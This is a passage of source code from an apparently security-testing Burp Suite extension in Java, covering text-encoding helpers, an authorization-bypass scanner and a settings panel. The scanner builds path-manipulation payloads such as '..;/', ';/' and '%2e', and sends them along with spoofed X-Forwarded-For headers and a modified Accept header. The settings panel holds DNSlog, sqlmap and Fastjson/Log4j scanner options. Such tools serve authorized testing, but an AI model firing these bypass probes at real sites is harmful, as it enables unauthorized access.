JPanel panel = new JPanel(new BorderLayout());
panel.add(scrollPane, BorderLayout.CENTER);
panel.add(copyButton, BorderLayout.SOUTH);
// 显示对话框
JOptionPane.showMessageDialog(
null,
panel,
"Process Result",
JOptionPane.INFORMATION_MESSAGE
);
}
/**
* URL解码并在弹出框中显示结果
*/
private String urlDecode(String text) {
try {
// URL解码,使用UTF-8编码支持中文
return URLDecoder.decode(text, StandardCharsets.UTF_8.name());
} catch (Exception e) {
Utils.stderr.println("Error decoding URL: " + e.getMessage());
JOptionPane.showMessageDialog(null, "Error decoding URL: " + e.getMessage());
return text;
}
}
/**
* Unicode解码并在弹出框中显示结果
*/
private String unicodeDecode(String text) {
StringBuilder result = new StringBuilder();
int i = 0;
while (i < text.length()) {
if (text.startsWith("\\u", i) && i + 6 <= text.length()) {
String hex = text.substring(i + 2, i + 6);
try {
result.append((char) Integer.parseInt(hex, 16));
i += 6;
continue;
} catch (NumberFormatException ignored) {
}
}
result.append(text.charAt(i));
i++;
}
return result.toString();
}
/**
* 关键字拆分
*/
private String splitKeyword(String text) {
StringBuilder result = new StringBuilder();
int chunkSize = 2; // 每段的默认长度
for (int i = 0; i < text.length(); i += chunkSize) {
if (i > 0) {
result.append("+");
}
int end = Math.min(i + chunkSize, text.length());
String chunk = text.substring(i, end);
result.append("'").append(chunk).append("'");
}
return result.toString();
}
/**
* 随机大小写转换
*/
private String randomCase(String text) {
return IntStream.range(0, text.length())
.mapToObj(i -> {
char c = text.charAt(i);
return random.nextBoolean() ?
Character.toUpperCase(c) :
Character.toLowerCase(c);
})
.map(String::valueOf)
.collect(Collectors.joining());
}
/**
* 生成指定数量的随机字符
*/
private String getRandomString(int number) {
StringBuilder str = new StringBuilder("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz");
StringBuilder result = new StringBuilder();
for (int i = 0; i < number; i++) {
int index = secureRandom.nextInt(str.length());
result.append(str.charAt(index));
}
return result.toString();
}
/**
* 弹窗获取用户输入并生成脏数据
*/
private void dirtyGetRandomString() {
String s = JOptionPane.showInputDialog("Please Input Data Size(n*kb): ");
if (s != null && !s.trim().isEmpty()) {
try {
int size = Integer.parseInt(s);
String dirtyData = getRandomString(size * 1024);
StringSelection stringSelection = new StringSelection(dirtyData);
Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
clipboard.setContents(stringSelection, null);
JOptionPane.showMessageDialog(null, "请在需要的位置粘贴", "Tips", JOptionPane.INFORMATION_MESSAGE);
} catch (NumberFormatException ex) {
JOptionPane.showMessageDialog(null, "Please input a valid number", "Error", JOptionPane.ERROR_MESSAGE);
}
} else {
JOptionPane.showMessageDialog(null, "Please Input Data Size", "Tips", JOptionPane.INFORMATION_MESSAGE);
}
}
/**
* 插入Base64数据标签
*/
private void checkBase64Data() {
StringSelection stringSelection = new StringSelection("");
Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
clipboard.setContents(stringSelection, null);
JOptionPane.showMessageDialog(null, "请在需要的位置粘贴", "Tips", JOptionPane.INFORMATION_MESSAGE);
}
/**
* 文本处理接口
*/
@FunctionalInterface
private interface TextProcessor {
String process(String text);
}
}
================================================
FILE: src/main/java/burp/ui/AuthUI.java
================================================
package burp.ui;
import burp.*;
import burp.bean.AuthBean;
import burp.utils.I18nUtils;
import burp.utils.Utils;
import javax.swing.*;
import javax.swing.table.AbstractTableModel;
import javax.swing.table.TableColumnModel;
import javax.swing.table.TableModel;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
/**
* @Author Xm17
* @Date 2024-06-22 8:46
*/
public class AuthUI implements UIHandler, IMessageEditorController {
private JPanel panel; // 主面板
private static JTable authTable; // auth表格
private JButton btnClear; // 清空按钮
private JTextField ipInputField; // ip输入框
private JButton saveBtn; // ip确认按钮
private JTabbedPane authtabbedPanereq; // 请求tab
private JTabbedPane authtabbedPaneresp; // 响应tab
private IHttpRequestResponse currentlyDisplayedItem; // 当前显示的请求
private IMessageEditor HRequestTextEditor; // 请求编辑器
private IMessageEditor HResponseTextEditor; // 响应编辑器
private static final List authlog = new ArrayList<>(); //authlog 列表
private static final List urlHashList = new ArrayList<>(); // url hash列表
private static final Lock lock = new ReentrantLock();
private static String LOCAL_IP = "127.0.0.1";
@Override
public IHttpService getHttpService() {
return currentlyDisplayedItem.getHttpService();
}
@Override
public byte[] getRequest() {
return currentlyDisplayedItem.getRequest();
}
@Override
public byte[] getResponse() {
return currentlyDisplayedItem.getResponse();
}
@Override
public void init() {
setupUI();
setupData();
}
// 初始化数据
private void setupData() {
btnClear.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
// 清空urltable
authlog.clear();
HRequestTextEditor.setMessage(new byte[0], true);
HResponseTextEditor.setMessage(new byte[0], false);
urlHashList.clear();
authTable.updateUI();
}
});
saveBtn.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
if (!ipInputField.getText().equals(LOCAL_IP)) {
LOCAL_IP = ipInputField.getText();
}else {
LOCAL_IP = "127.0.0.1";
}
}
});
}
// 初始化ui
private void setupUI() {
panel = new JPanel();
panel.setLayout(new BorderLayout());
// 添加FlowLayout布局,将清空按钮添加
JPanel topPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));
btnClear = new JButton(I18nUtils.get("auth.button.clear"));
topPanel.add(btnClear);
JLabel ipLabel = new JLabel(I18nUtils.get("auth.label.ip"));
topPanel.add(ipLabel);
ipInputField = new JTextField("127.0.0.1");
topPanel.add(ipInputField);
saveBtn = new JButton(I18nUtils.get("auth.button.save"));
topPanel.add(saveBtn);
panel.add(topPanel, BorderLayout.NORTH);
// 上下分割面板,比例是7:3
JSplitPane mainsplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
mainsplitPane.setResizeWeight(0.7);
mainsplitPane.setDividerLocation(0.7);
// 添加URLTable到mainsplitPane的上边
authTable = new URLTable(new AuthModel());
authTable.setAutoCreateRowSorter(true);
JScrollPane scrollPane = new JScrollPane(authTable);
mainsplitPane.setTopComponent(scrollPane);
// 左右分割面板,对称分割
JSplitPane splitPaneDown = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);
splitPaneDown.setResizeWeight(0.5);
splitPaneDown.setDividerLocation(0.5);
// 添加请求响应到左右分割面板
authtabbedPanereq = new JTabbedPane();
HRequestTextEditor = Utils.callbacks.createMessageEditor(AuthUI.this, true);
authtabbedPanereq.addTab("Request", HRequestTextEditor.getComponent());
authtabbedPaneresp = new JTabbedPane();
HResponseTextEditor = Utils.callbacks.createMessageEditor(AuthUI.this, false);
authtabbedPaneresp.addTab("Response", HResponseTextEditor.getComponent());
splitPaneDown.setLeftComponent(authtabbedPanereq);
splitPaneDown.setRightComponent(authtabbedPaneresp);
// 添加splitPaneDown到mainsplitPane的下边
mainsplitPane.setBottomComponent(splitPaneDown);
panel.add(mainsplitPane, BorderLayout.CENTER);
}
@Override
public JPanel getPanel(IBurpExtenderCallbacks callbacks) {
return panel;
}
@Override
public String getTabName() {
return "BypassAuth";
}
// auth核心检测方法
public static void Check(IHttpRequestResponse[] requestResponses) {
lock.lock();
try {
IHttpRequestResponse baseRequestResponse = requestResponses[0];
IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);
String method = analyzeRequest.getMethod();
String path = analyzeRequest.getUrl().getPath();
String request = Utils.helpers.bytesToString(baseRequestResponse.getRequest());
List paraLists = analyzeRequest.getParameters();
URL rdurlURL = analyzeRequest.getUrl();
String url = analyzeRequest.getUrl().toString();
byte[] byte_Request = baseRequestResponse.getRequest();
int len = byte_Request.length;
byte[] body = Arrays.copyOfRange(byte_Request, analyzeRequest.getBodyOffset(), len);
// url 中匹配为静态资源
if (Utils.isUrlBlackListSuffix(url)) {
return;
}
List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();
String urlWithoutQuery = "";
try {
URL url1 = new URL(url);
String protocol = url1.getProtocol();
String host = url1.getHost();
int port = url1.getPort();
urlWithoutQuery = protocol + "://" + host + ":" + port;
} catch (MalformedURLException e) {
throw new RuntimeException(e);
}
List authRequests = new ArrayList<>();
authRequests.addAll(prefix(method, path));
authRequests.addAll(suffix(method, path));
if (Objects.equals(method, "GET") || Objects.equals(method, "POST")) {
for (AuthBean value : authRequests) {
if (Objects.equals(value.getMethod(), "GET")) {
String new_request = request.replaceFirst(path, value.getPath());
IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), Utils.helpers.stringToBytes(new_request));
String requrl = urlWithoutQuery + value.getPath();
String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode());
String length = String.valueOf(response.getResponse().length);
add(method, requrl, statusCode, length, response);
} else if (Objects.equals(value.getMethod(), "POST")) {
String new_request = request.replaceFirst(path, value.getPath());
IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), Utils.helpers.stringToBytes(new_request));
String requrl = urlWithoutQuery + value.getPath();
String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode());
String length = String.valueOf(response.getResponse().length);
add(method, requrl, statusCode, length, response);
}
}
// 测试伪造ip
List testHeaders = forgeHeaders(method, url);
for (AuthBean header : testHeaders) {
headers.add(header.getHeaders());
}
byte[] message = Utils.helpers.buildHttpMessage(headers, body);
IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message);
String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode());
String length = String.valueOf(response.getResponse().length);
add(method, url, statusCode, length, response);
for (AuthBean header : testHeaders) {
headers.remove(header.getHeaders());
}
// 单独测试实战绕过案例
changeAccept(headers, body, method, url, baseRequestResponse);
}
} finally {
lock.unlock();
}
}
// 添加数据到表格
private static void add(String method, String url, String statuscode, String length, IHttpRequestResponse baseRequestResponse) {
synchronized (authlog) {
int id = authlog.size();
authlog.add(new AuthEntry(id, method, url, statuscode, length, baseRequestResponse));
authTable.updateUI();
}
}
// 添加后缀
public static List suffix(String method, String path) {
if (path.startsWith("//")) {
path = "/" + path.substring(2).replaceAll("/+", "/");
}
List authRequests = new ArrayList<>();
if (path.endsWith("/")) {
path = path.substring(0, path.length() - 1);
List payloads = Arrays.asList(path + "%2e/", path + "/.", "./" + path + "/./", path + "%20/",
"/%20" + path + "%20/", path + "..;/", path + "?", path + "??", "/" + path + "//",
path + "/", path + "/.randomstring");
for (String payload : payloads) {
if ("GET".equals(method)) {
authRequests.add(new AuthBean("GET", payload, ""));
} else if ("POST".equals(method)) {
authRequests.add(new AuthBean("POST", payload, ""));
}
}
} else {
List payloads = Arrays.asList(path + "/%2e", path + "/%20", path + "%0d%0a", path + ".json", path + "/.randomstring");
for (String payload : payloads) {
if ("GET".equals(method)) {
authRequests.add(new AuthBean("GET", payload, ""));
} else if ("POST".equals(method)) {
authRequests.add(new AuthBean("POST", payload, ""));
}
}
}
return authRequests;
}
// 添加前缀
public static List prefix(String method, String path) {
if (path.startsWith("//")) {
path = "/" + path.substring(2).replaceAll("/+", "/");
}
List authRequests = new ArrayList<>();
String[] prefix = {";/", ".;/", "images/..;/", ";a/", "%23/../", "..;/..;/"};
for (String s : prefix) {
// 将路径按 / 分割为多个部分
String[] pathParts = path.split("/");
for (int i = 1; i < pathParts.length; i++) {
// 输出从第二个部分到最后一个部分
String[] subPathParts = Arrays.copyOfRange(pathParts, i, pathParts.length);
String[] prePathParts = Arrays.copyOfRange(pathParts, 1, i);
if (prePathParts.length > 0) {
if ("GET".equals(method)) {
authRequests.add(new AuthBean("GET", "/" + String.join("/", prePathParts) + "/" + s + String.join("/", subPathParts), ""));
} else if ("POST".equals(method)) {
authRequests.add(new AuthBean("POST", "/" + String.join("/", prePathParts) + "/" + s + String.join("/", subPathParts), ""));
}
} else {
if ("GET".equals(method)) {
authRequests.add(new AuthBean("GET", "/" + s + String.join("/", subPathParts), ""));
} else if ("POST".equals(method)) {
authRequests.add(new AuthBean("POST", "/" + s + String.join("/", subPathParts), ""));
}
}
}
}
return authRequests;
}
// 添加头部
public static List forgeHeaders(String method, String url) {
List authRequests = new ArrayList<>();
List payloads = Arrays.asList(
"X-Forwarded-For: %s",
"X-Originating-IP: %s",
"X-Remote-IP: %s",
"X-Remote-Addr: %s"
);
// 对payloads进行替换
payloads.replaceAll(s -> String.format(s, LOCAL_IP));
for (String payload : payloads) {
if ("GET".equals(method)) {
authRequests.add(new AuthBean("GET", "", payload));
} else if ("POST".equals(method)) {
authRequests.add(new AuthBean("POST", "", payload));
}
}
return authRequests;
}
// 添加accept
// https://mp.weixin.qq.com/s/6YMDu6FTLa_9s6_mewrp0A
public static void changeAccept(List headers, byte[] body, String method, String url, IHttpRequestResponse baseRequestResponse) {
// 判断headers立马是否有Accept,如果有则删除
headers.removeIf(header -> header.startsWith("Accept:"));
headers.add("Accept: application/json, text/javascript, /; q=0.01");
byte[] message = Utils.helpers.buildHttpMessage(headers, body);
IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message);
// 发送请求
String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode());
String length = String.valueOf(response.getResponse().length);
add(method, url, statusCode, length, response);
}
// auth实体
private static class AuthEntry {
private final int id;
private final String method;
private final String url;
private final String status;
private final String length;
private final IHttpRequestResponse requestResponse;
public AuthEntry(int id, String method, String url, String status, String length, IHttpRequestResponse requestResponse) {
this.id = id;
this.method = method;
this.url = url;
this.status = status;
this.length = length;
this.requestResponse = requestResponse;
}
}
// auth 模型
private static class AuthModel extends AbstractTableModel {
@Override
public int getRowCount() {
return authlog.size();
}
@Override
public int getColumnCount() {
return 5;
}
@Override
public Object getValueAt(int rowIndex, int columnIndex) {
switch (columnIndex) {
case 0:
return authlog.get(rowIndex).id;
case 1:
return authlog.get(rowIndex).method;
case 2:
return authlog.get(rowIndex).url;
case 3:
return authlog.get(rowIndex).status;
case 4:
return authlog.get(rowIndex).length;
default:
return null;
}
}
@Override
public String getColumnName(int column) {
switch (column) {
case 0:
return "id";
case 1:
return "method";
case 2:
return "url";
case 3:
return "status";
case 4:
return "length";
default:
return null;
}
}
}
// auth 表格
private class URLTable extends JTable {
public URLTable(TableModel dm) {
super(dm);
TableColumnModel columnModel = getColumnModel();
columnModel.getColumn(0).setMaxWidth(50);
columnModel.getColumn(4).setMaxWidth(50);
}
@Override
public void changeSelection(int row, int col, boolean toggle, boolean extend) {
AuthEntry logEntry = authlog.get(row);
HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true);
if (logEntry.requestResponse.getResponse() == null) {
HResponseTextEditor.setMessage(new byte[0], false);
} else {
HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false);
}
currentlyDisplayedItem = logEntry.requestResponse;
super.changeSelection(row, col, toggle, extend);
}
}
}
================================================
FILE: src/main/java/burp/ui/ConfigUI.java
================================================
package burp.ui;
import burp.IBurpExtenderCallbacks;
import burp.bean.ConfigBean;
import burp.utils.I18nUtils;
import burp.utils.UrlCacheUtil;
import burp.utils.Utils;
import com.intellij.uiDesigner.core.GridConstraints;
import com.intellij.uiDesigner.core.GridLayoutManager;
import com.intellij.uiDesigner.core.Spacer;
import javax.swing.*;
import javax.swing.table.AbstractTableModel;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.ArrayList;
import java.util.List;
import static burp.dao.ConfigDao.*;
public class ConfigUI implements UIHandler {
private static final List data = new ArrayList<>();
public AbstractTableModel dataModel = new ConfigModel();
private JPanel panel;
private JPanel configPanel;
private JLabel dnslogLabel;
private JTextField dnslogTextField;
private JLabel ipLabel;
private JTextField ipTextField;
private JLabel toolNameLabel;
private JTextField toolNameTextField;
private JButton toolButton;
private JTextField toolArgvTextField;
private JButton ipButton;
private JButton dnslogButton;
private JLabel toolArgvLabel;
private JButton refershButton;
private JButton deleteSelectButton;
private JButton clearCacheButton;
private JButton resetUrl;
private JTable configTable;
private JScrollPane configPanelDownJscrollPanel;
private JPanel configPanelTop;
private JPanel configPanelDown;
private JLabel languageLabel;
private JComboBox languageComboBox;
private void setupUI() {
// 创建主面板
panel = new JPanel();
panel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
// 创建配置面板
configPanel = new JPanel();
configPanel.setLayout(new BorderLayout(0, 0));
panel.add(configPanel, new GridConstraints(0, 0, 1, 1,
GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH,
GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW,
GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW,
null, null, null, 0, false));
// 配置顶部面板
configPanelTop = new JPanel();
configPanelTop.setLayout(new GridLayoutManager(5, 9, new Insets(10, 10, 10, 10), 5, 5)); // 增加间距,添加语言选择行
configPanel.add(configPanelTop, BorderLayout.NORTH);
// 语言选择行
languageLabel = new JLabel();
languageLabel.setText(I18nUtils.get("common.label.language"));
configPanelTop.add(languageLabel, new GridConstraints(0, 0, 1, 1,
GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE,
GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED,
null, null, null, 0, false));
languageComboBox = new JComboBox<>(new String[]{"English", "中文"});
languageComboBox.setSelectedItem(I18nUtils.isChinese() ? "中文" : "English");
configPanelTop.add(languageComboBox, new GridConstraints(0, 1, 1, 3,
GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL,
GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED,
null, new Dimension(250, -1), null, 0, false));
// DNS日志配置行
dnslogLabel = new JLabel();
dnslogLabel.setText(I18nUtils.get("config.label.dnslog"));
configPanelTop.add(dnslogLabel, new GridConstraints(1, 0, 1, 1,
GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE,
GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED,
null, null, null, 0, false));
dnslogTextField = new JTextField();
configPanelTop.add(dnslogTextField, new GridConstraints(1, 1, 1, 3,
GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL,
GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED,
null, new Dimension(250, -1), null, 0, false));
dnslogButton = new JButton();
dnslogButton.setText(I18nUtils.get("config.button.save"));
configPanelTop.add(dnslogButton, new GridConstraints(1, 4, 1, 1,
GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL,
GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW,
GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
// IP配置行
ipLabel = new JLabel();
ipLabel.setText(I18nUtils.get("config.label.ip"));
configPanelTop.add(ipLabel, new GridConstraints(2, 0, 1, 1,
GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE,
GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED,
null, null, null, 0, false));
ipTextField = new JTextField();
configPanelTop.add(ipTextField, new GridConstraints(2, 1, 1, 3,
GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL,
GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED,
null, new Dimension(250, -1), null, 0, false));
ipButton = new JButton();
ipButton.setText(I18nUtils.get("config.button.save"));
configPanelTop.add(ipButton, new GridConstraints(2, 4, 1, 1,
GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL,
GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW,
GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
// 工具配置行
toolNameLabel = new JLabel();
toolNameLabel.setText(I18nUtils.get("config.label.tool_name"));
configPanelTop.add(toolNameLabel, new GridConstraints(3, 0, 1, 1,
GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE,
GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED,
null, null, null, 0, false));
toolNameTextField = new JTextField();
configPanelTop.add(toolNameTextField, new GridConstraints(3, 1, 1, 1,
GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL,
GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED,
null, new Dimension(150, -1), null, 0, false));
toolArgvLabel = new JLabel();
toolArgvLabel.setText(I18nUtils.get("config.label.tool_args"));
configPanelTop.add(toolArgvLabel, new GridConstraints(3, 2, 1, 1,
GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE,
GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED,
null, null, null, 0, false));
toolArgvTextField = new JTextField();
configPanelTop.add(toolArgvTextField, new GridConstraints(3, 3, 1, 1,
GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL,
GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED,
null, new Dimension(250, -1), null, 0, false));
toolButton = new JButton();
toolButton.setText(I18nUtils.get("config.button.save"));
configPanelTop.add(toolButton, new GridConstraints(3, 4, 1, 1,
GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL,
GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW,
GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
// 按钮行
JPanel buttonPanel = new JPanel();
buttonPanel.setLayout(new FlowLayout(FlowLayout.LEFT, 10, 5)); // 使用FlowLayout,左对齐,间距10
configPanelTop.add(buttonPanel, new GridConstraints(4, 0, 1, 9,
GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL,
GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW,
GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
refershButton = new JButton();
refershButton.setText(I18nUtils.get("config.button.refresh"));
buttonPanel.add(refershButton);
deleteSelectButton = new JButton();
deleteSelectButton.setText(I18nUtils.get("config.button.delete"));
buttonPanel.add(deleteSelectButton);
clearCacheButton = new JButton();
clearCacheButton.setText(I18nUtils.get("config.button.clear_cache"));
buttonPanel.add(clearCacheButton);
// 新增按钮
resetUrl = new JButton(I18nUtils.get("config.button.reset"));
buttonPanel.add(resetUrl);
// 配置下部面板(表格)
configPanelDown = new JPanel();
configPanelDown.setLayout(new GridLayoutManager(1, 1, new Insets(10, 10, 10, 10), -1, -1));
configPanel.add(configPanelDown, BorderLayout.CENTER);
configPanelDownJscrollPanel = new JScrollPane();
configPanelDown.add(configPanelDownJscrollPanel, new GridConstraints(0, 0, 1, 1,
GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH,
GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW,
GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW,
null, null, null, 0, false));
configTable = new JTable(dataModel);
configTable.setRowHeight(25); // 设置表格行高
configTable.setFillsViewportHeight(true); // 表格填充视窗
configPanelDownJscrollPanel.setViewportView(configTable);
}
private void setupData() {
ConfigBean dnsconfig = getConfig("config", "dnslog");
dnslogTextField.setText(dnsconfig.getValue());
ConfigBean ipconfig = getConfig("config", "ip");
ipTextField.setText(ipconfig.getValue());
toolNameTextField.setText("sqlmap");
toolArgvTextField.setText("python sqlmap.py -r {request} -u {url} -h {host}");
List toolParam = getToolConfig();
for (ConfigBean config : toolParam) {
addData(config.getType(), config.getValue());
}
refershButton.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
List toolParam = getToolConfig();
data.clear();
for (ConfigBean config : toolParam) {
addData(config.getType(), config.getValue());
}
dataModel.fireTableDataChanged();
}
});
deleteSelectButton.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
int[] selectedRows = configTable.getSelectedRows();
for (int i = selectedRows.length - 1; i >= 0; i--) {
int selectedRow = selectedRows[i];
String type = (String) configTable.getValueAt(selectedRow, 1);
deleteToolConfig(type);
data.remove(selectedRow);
dataModel.fireTableRowsDeleted(selectedRow, selectedRow);
dataModel.fireTableDataChanged();
}
}
});
clearCacheButton.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
// mark
// 弹出提示框
boolean deleteReqFile = Utils.deleteReqFile();
if (deleteReqFile){
JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.delete_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE);
}else {
JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.delete_failed"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE);
}
}
});
dnslogButton.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
String module = "config";
String dns = dnslogTextField.getText();
ConfigBean config = new ConfigBean(module, "dnslog", dns);
saveConfig(config);
FastjsonUI.dnslog = dns;
Log4jUI.dns = dns;
// 弹窗提示
JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE);
}
});
ipButton.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
String module = "config";
String ip = ipTextField.getText();
ConfigBean config = new ConfigBean(module, "ip", ip);
saveConfig(config);
FastjsonUI.ip = ip;
Log4jUI.ip = ip;
JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE);
}
});
toolButton.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
String module = "tool";
String type = toolNameTextField.getText();
String value = toolArgvTextField.getText();
ConfigBean config = new ConfigBean(module, type, value);
saveConfig(config);
addData(type, value);
JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE);
}
});
resetUrl.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
UrlCacheUtil.resetAllCaches();
RouteUI.resetAllCaches();
PermUI.resetAllCaches();
Log4jUI.resetAllCaches();
FastjsonUI.resetAllCaches();
SqlUI.resetAllCaches();
JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.reset_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE);
}
});
// 语言选择监听器
languageComboBox.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
String selectedLanguage = (String) languageComboBox.getSelectedItem();
boolean isChinese = selectedLanguage.equals("中文");
I18nUtils.setChinese(isChinese);
// 保存语言设置到配置
String module = "config";
String key = "language";
String value = isChinese ? "zh" : "en";
ConfigBean config = new ConfigBean(module, key, value);
saveConfig(config);
// 提示用户重启插件以应用语言更改
JOptionPane.showMessageDialog(null, I18nUtils.get("common.message.language_change"), I18nUtils.get("common.title.info"), JOptionPane.INFORMATION_MESSAGE);
}
});
}
// 添加数据
public void addData(String key, String value) {
synchronized (data) {
data.add(new LogEntry(data.size() + 1, key, value));
dataModel.fireTableDataChanged();
dataModel.fireTableRowsInserted(data.size() - 1, data.size() - 1);
}
}
@Override
public void init() {
setupUI();
setupData();
}
@Override
public JPanel getPanel(IBurpExtenderCallbacks callbacks) {
return panel;
}
@Override
public String getTabName() {
return "Setting";
}
// 表格模型
static class ConfigModel extends AbstractTableModel {
@Override
public int getRowCount() {
return data.size();
}
@Override
public int getColumnCount() {
return 3;
}
@Override
public Object getValueAt(int rowIndex, int columnIndex) {
LogEntry dataEntry = data.get(rowIndex);
switch (columnIndex) {
case 0:
return dataEntry.id;
case 1:
return dataEntry.key;
case 2:
return dataEntry.value;
default:
return null;
}
}
@Override
public String getColumnName(int column) {
switch (column) {
case 0:
return "id";
case 1:
return "key";
case 2:
return "value";
default:
return null;
}
}
}
// 表格实体类
public static class LogEntry {
private final String key;
private final String value;
private int id;
public LogEntry(int id, String key, String value) {
this.id = id;
this.key = key;
this.value = value;
}
public LogEntry(String key, String value) {
this.key = key;
this.value = value;
}
}
}
================================================
FILE: src/main/java/burp/ui/FastjsonUI.java
================================================
package burp.ui;
import burp.*;
import burp.bean.FastjsonBean;
import burp.utils.CustomScanIssue;
import burp.utils.I18nUtils;
import burp.utils.JsonUtils;
import burp.utils.UrlCacheUtil;
import burp.utils.Utils;
import javax.swing.*;
import javax.swing.table.AbstractTableModel;
import javax.swing.table.DefaultTableCellRenderer;
import javax.swing.table.TableColumnModel;
import javax.swing.table.TableModel;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Objects;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
import static burp.dao.ConfigDao.getConfig;
import static burp.dao.FastjsonDao.getFastjsonListsByType;
/**
* @Author Xm17
* @Date 2024-06-22 12:13
*/
public class FastjsonUI implements UIHandler, IMessageEditorController , IHttpListener{
private JPanel panel; // 主面板
private JTabbedPane fastjsonreq; // 请求面板
private JTabbedPane fastjsonresp; // 响应面板
private JButton btnClear; // 清空按钮
private JButton btnRefresh; // 添加刷新按钮
